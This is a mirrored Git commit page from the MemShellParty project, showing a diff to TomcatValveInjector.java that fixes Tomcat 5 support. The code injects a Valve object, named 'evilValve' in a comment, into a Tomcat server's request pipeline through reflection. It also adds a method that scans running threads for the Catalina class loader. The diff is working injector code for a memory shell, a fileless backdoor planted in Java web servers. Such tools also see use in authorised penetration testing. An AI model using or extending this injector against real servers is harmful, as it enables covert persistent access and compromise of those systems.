archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 07:00:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: tomcat5 valve not work

Browse Source
This commit is contained in:
ReaJason
2024-12-09 01:27:08 +08:00
parent 12519d4a0f
commit e28ddf9972
3 changed files with 32 additions and 17 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java
+18 -13
View File
@@ -97,10 +97,7 @@ public class TomcatValveInjector {
@SuppressWarnings("all")
private Object getValve(Object context) {
Object valve = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
ClassLoader classLoader = context.getClass().getClassLoader();
try {
valve = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
@@ -163,16 +160,11 @@ public class TomcatValveInjector {
return;
}
try {
Class ValveClass;
try {
ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");
} catch (Exception e) {
ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
}
Class valveClass;
String valveClassName = "org.apache.catalina.Valve";
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
Object obj = invokeMethod(context, "getPipeline");
// Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT);
// obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve);
invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve});
invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
} catch (Exception e) {
e.printStackTrace();
}
@@ -246,4 +238,17 @@ public class TomcatValveInjector {
}
}
}
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
ClassLoader catalinaLoader = null;
for (Thread thread : threads) {
// 适配 v5 的 Class Loader 问题
if (thread.getName().contains("ContainerBackgroundProcessor")) {
catalinaLoader = thread.getContextClassLoader();
break;
}
}
return catalinaLoader;
}
}